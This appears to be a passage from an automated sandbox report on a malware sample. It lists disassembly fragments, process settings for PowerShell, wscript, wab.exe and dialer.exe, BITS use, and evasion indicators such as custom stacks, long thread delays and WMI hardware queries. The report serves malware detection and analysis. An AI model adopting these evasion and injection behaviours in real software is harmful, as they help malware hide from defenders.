Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA5CD2 push dword ptr [edx+ebp+3Bh]; retf	10_3_02CA5CDF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA3E4E push edi; iretd	10_3_02CA3E55
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA4FC8 push es; ret	10_3_02CA4FC9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA0FCE push eax; retf	10_3_02CA0FCF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA21EF push ecx; iretd	10_3_02CA21FB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA45FC push esi; ret	10_3_02CA4600
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA21AF pushad ; ret	10_3_02CA21B7
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA3B74 pushad ; retf	10_3_02CA3B83
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_3_02CA4305 push F693B671h; retf	10_3_02CA430A
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E98F0 push eax; ret	10_2_053E991E

Persistence and Installation Behavior

Powershell uses Background Intelligent Transfer Service (BITS)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: \KnownDlls\BitsProxy.dll

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe	API/Special instruction interceptor: Address: 499AF44
Source: C:\Program Files (x86)\Windows Mail\wab.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\dialer.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\dialer.exe	API/Special instruction interceptor: Address: 53F483A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5256	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4644	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6093	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3635	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7932	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 6093 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep count: 3635 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
